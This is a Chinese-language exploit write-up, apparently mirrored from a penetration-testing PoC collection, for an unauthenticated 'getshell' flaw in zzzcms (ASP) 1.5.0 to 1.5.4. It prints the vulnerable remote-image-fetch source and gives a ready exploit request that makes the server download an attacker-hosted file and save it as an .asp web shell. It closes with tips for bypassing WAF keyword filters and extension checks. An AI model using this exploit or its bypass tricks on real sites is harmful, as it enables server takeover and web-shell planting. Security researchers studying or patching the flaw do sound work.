mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-11-06 11:14:32 +00:00
154 lines
5.0 KiB
Markdown
154 lines
5.0 KiB
Markdown
# zzzcms(asp)前台Getshell
|
||
|
||
zzzcms > 1.5版本后台添加了/inc/webuploader/目录 参照Ueditor功能
|
||
问题文件/admin{}/inc/webuploader/getremoteimage.asp(1.5.0版本)
|
||
|
||
```asp
|
||
<!--#include file="../../../inc/zzz_class.asp"-->
|
||
<%
|
||
dim remotestr,remotepic,remotesplit,j,newpath,newpicname,newimg,newimgs,upfolder,parentPath
|
||
upfolder=getform("upfolder","both")
|
||
if isnul(upfolder) then
|
||
parentPath=sitepath&upLoadPath
|
||
else
|
||
parentPath=sitepath&upLoadPath&upfolder&"/"
|
||
end if
|
||
|
||
remotestr =Trim(Request("file"))
|
||
remotestr=replace(remotestr,"&" , "&")
|
||
remotestr=remotestr
|
||
remotestr=remotestr&"ue_separate_ue"
|
||
remotesplit=split(remotestr,"ue_separate_ue")
|
||
newpath=parentPath&DateFormat(now,"yymmdd")&"/"
|
||
NewFolder newpath
|
||
for j=0 to ubound(remotesplit)-1
|
||
newpicname=getrndname()&GetFileExt(remotesplit(j))
|
||
newimg=SaveRemoteFile(newpath&newpicname,remotesplit(j))
|
||
if waterMark=1 then waterMarkImg newimg
|
||
newimgs=newimgs&newimg&"ue_separate_ue"
|
||
next
|
||
if remotestr<>"" then
|
||
if right(newimgs,len("ue_separate_ue"))="ue_separate_ue" then newimgs=left(newimgs,len(newimgs)-len("ue_separate_ue"))
|
||
end if
|
||
response.Write "{'url':'"&newimgs&"','tip':'远程图片抓取成功！','srcUrl':'"&remotestr& "'}"
|
||
|
||
function getfileExt(filename)
|
||
if filename="" then getfileExt=".jpg" : exit function
|
||
getfileExt=mid(filename,InStrRev(filename,"."),len(filename))'获取文件扩展名
|
||
end function
|
||
|
||
|
||
'==================================================
|
||
'过程名：SaveRemoteFile
|
||
'作 用：保存远程的文件到本地
|
||
'参 数：LocalFileName ------ 本地文件名
|
||
'参 数：RemoteFileUrl ------ 远程文件URL
|
||
'==================================================
|
||
function SaveRemoteFile(LocalFileName,RemoteFileUrl)
|
||
On Error Resume Next
|
||
dim Ads,Retrieval,GetRemoteData
|
||
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
|
||
With Retrieval
|
||
.Open "Get", RemoteFileUrl, False, "", ""
|
||
.Send
|
||
GetRemoteData = .ResponseBody
|
||
End With
|
||
Set Retrieval = Nothing
|
||
Set Ads = Server.CreateObject("Adodb.Stream")
|
||
With Ads
|
||
.Type = 1
|
||
.Open
|
||
.Write GetRemoteData
|
||
.SaveToFile server.MapPath(LocalFileName),2
|
||
.Cancel()
|
||
.Close()
|
||
End With
|
||
Set Ads=nothing
|
||
SaveRemoteFile=LocalFileName
|
||
end function
|
||
|
||
'判断远程图片是否存在
|
||
function CheckURL(byval A_strUrl)
|
||
On Error Resume Next
|
||
set XMLHTTP = Server.CreateObject("Microsoft.XMLHTTP")
|
||
XMLHTTP.open "HEAD",A_strUrl,false
|
||
XMLHTTP.send()
|
||
CheckURL=(XMLHTTP.status=200)
|
||
set XMLHTTP = nothing
|
||
end function
|
||
%>
|
||
```
|
||
|
||
对比后台所有文件缺失了后台权限验证包含
|
||
|
||
```
|
||
<!--#include file="../../../inc/zzz_admin.asp" -->
|
||
```
|
||
|
||
问题文件/admin{}/inc/webuploader/getremoteimage.asp(1.5.4版本)
|
||
|
||
```asp
|
||
<!--#include file="../../../inc/zzz_class.asp"-->
|
||
<%
|
||
dim remotestr,remotepic,remotesplit,j,newpath,newpicname,newimg,newimgs,upfolder,parentPath
|
||
upfolder=getform("upfolder","both")
|
||
if isnul(upfolder) then
|
||
parentPath=sitepath&upLoadPath
|
||
else
|
||
parentPath=sitepath&upLoadPath&upfolder&"/"
|
||
end if
|
||
remotestr =Trim(Request("file"))
|
||
remotestr=replace(remotestr,"&" , "&")
|
||
remotestr=remotestr
|
||
remotestr=remotestr&"ue_separate_ue"
|
||
remotesplit=split(remotestr,"ue_separate_ue")
|
||
newpath=parentPath&DateFormat(now,"yymmdd")&"/"
|
||
NewFolder newpath
|
||
for j=0 to ubound(remotesplit)-1
|
||
newpicname=getrndname()&"."&GetFileExt(remotesplit(j))
|
||
newimg=SaveRemoteFile(newpath&newpicname,remotesplit(j))
|
||
if waterMark=1 then waterMarkImg newimg
|
||
newimgs=newimgs&newimg&"ue_separate_ue"
|
||
next
|
||
remotestr=endstr(remotestr,"ue_separate_ue")
|
||
echo "{'url':'"&newimgs&"','tip':'远程图片抓取成功！','srcUrl':'"&remotestr& "'}"
|
||
%>
|
||
```
|
||
|
||
看到这段自定义的echo
|
||
|
||
```
|
||
echo "{'url':'"&newimgs&"','tip':'远程图片抓取成功！','srcUrl':'"&remotestr& "'}"
|
||
```
|
||
|
||
可以猜测PHP开发者参照ASP.NET的Ueditor写出了ASP的代码
|
||
EXP:
|
||
|
||
```
|
||
POST:
|
||
/{admin}/inc/webuploader/getremoteimage.asp
|
||
|
||
file=http://target.com/*.gif?.asp
|
||
```
|
||
|
||
SHELL在返回包
|
||
影响版本zzzcms(ASP)1.5.0/1.5.1/1.5.2/1.5.3/1.5.4
|
||
值得一提的是zzzcms ASP版安装完成后默认后台为随机
|
||
想要利用需要获得后台地址/admin{随机目录}/inc/webuploader/getremoteimage.asp
|
||
|
||
测试发现这个随机后台是个摆设 有兴趣的可以研究研究
|
||
|
||
一些tips:
|
||
|
||
```
|
||
.txt?.a*sp.a*sp有时候抓取不到 得先传图片马到他本地再抓本机还有的只能抓https 不支持http
|
||
其实不光?可以 *也可以 基本上给予关键词拦截的waf 用星号都可以绕过
|
||
q:新年快乐，流光师傅。 测试了下txt能post上去，asp后缀无法直接po上去，请问怎么突破。
|
||
a:.txt?.asp
|
||
```
|
||
|
||
注：原文地址：https://www.t00ls.net/articles-59726.html 作者：@[赢时胜流光](https://www.t00ls.net/members-profile-12455.html)
|
||
|
||
欢迎大家投稿吐司！
|
||
|